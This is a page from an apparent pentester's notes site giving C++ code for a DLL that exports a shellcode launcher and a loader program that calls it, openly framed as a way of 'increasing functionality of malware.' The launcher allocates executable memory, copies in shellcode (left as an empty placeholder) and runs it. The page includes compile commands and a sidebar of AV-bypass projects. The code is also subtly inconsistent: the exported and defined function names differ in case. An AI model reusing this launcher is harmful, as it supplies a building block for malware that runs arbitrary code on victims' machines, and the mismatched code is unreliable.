Engin Demirbilek
  • Intro
  • [Pinned] Community
  • OSWE Review
  • Code Pieces
    • C++: Shellcode Launcher
    • C++: Dynamic DLL Usage
    • C++: Sendin HTTP GET Request
    • C++: Sandbox Detection via Registry
    • C++: Enumerating Environment
    • C++: Dll Injection
    • VBA: HTTP File Dropper
    • Environment Enumeration via Pshell & Cmd
  • Projects
    • Reverse Shell Exploit chain With AV Bypass
    • Execute Shellcode Launcher with Dll Injection
    • Bypassing AVs with simple XOR
    • Bypassing Defender with Exclusion List
  • Vulnerability Research
    • [TR] Centreon 19.10.8 Remote Code Execution
    • [TR] rConfig 3.94 Remote Code Execution
    • [TR] PANDORAFMS 7.0 REMOTE CODE EXECUTION x4
  • Pentest Notes
  • An Uncommon OSINT way to Juicy Files
  • GraphQL Testing Tips
  • Server Side Request Forgery (SSRF)
Powered by GitBook
On this page
  • Objective
  • To do list
  • Functions
  • Application
  • References

Was this helpful?

  1. Code Pieces

C++: Dynamic DLL Usage

Objective

Increasing functionality of malware by using external DLL files.-

To do list

  • Create a dll.

  • Import dll into an external CPP program.

  • Call a function from imported dll in external CPP program.

Functions

  • LoadLibrary: Import dll into running process.

    • Header: libloaderapi.h

    • Definition: HMODULE LoadLibraryA(LPCSTR lpLibFileName);

      • lpLibFileName: Path of dll file.

  • GetProcAddress: Retrieve the address of a function inside the dll.

    • Header: libloaderapi.h

    • Definition: FARPROC GetProcAddress(HMODULE hModule,LPCSTR lpProcName);

      • hModule: DLL handle.

      • lpProcName: Name of the function to retrieve.

Application

DLL

#include <string>
#include <windows.h>

// Declare function prototypes with "extern C" to prevent name mangling.
// Declare functions using __declspec(dllexport) to signify the intent to export.

extern "C" {
    __declspec(dllexport) void __stdcall shellcodeLauncher(); 
}

void shellCodeLauncher(){

char shellcode[] = ""; //shellcode
void *memPtr= VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //allocate memory for shellcode
	memcpy(memPtr, shellcode, sizeof shellcode); //put shellcode into memory
	((void(*)())memPtr)(); //execute the shellcode
	
	}

Compile as dll: g++ -shared -o launcher.dll dll.cpp -std=c++11

CPP

#include <iostream>
#include <stdlib.h>
#include <windows.h>

typedef int (__stdcall *fonksiyon)(); 
int main()
{

HINSTANCE hGetProcIDDLL = LoadLibrary(""); //Path of dll.

  if (!hGetProcIDDLL) {
    std::cout << "could not load the dynamic library" << std::endl;
    return EXIT_FAILURE;
  }


  fonksiyon launcherFonksiyon= (fonksiyon)GetProcAddress(hGetProcIDDLL, "shellcodeLauncher");
  if (!launcherFonksiyon) {
    std::cout << "could not locate the function" << std::endl;
    return EXIT_FAILURE;
  }

 launcherFonksiyon(); //call the external function from dll.
  return EXIT_SUCCESS;

}

compile: g++ executer.cpp -o execute.exe

References

PreviousC++: Shellcode LauncherNextC++: Sendin HTTP GET Request

Last updated 3 years ago

Was this helpful?

Microsoft, Using runtime dynamic linking,

Microsoft, GetProcAddress,

Microsoft, LoadLibrary,

https://docs.microsoft.com/en-us/windows/win32/dlls/using-run-time-dynamic-linking
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya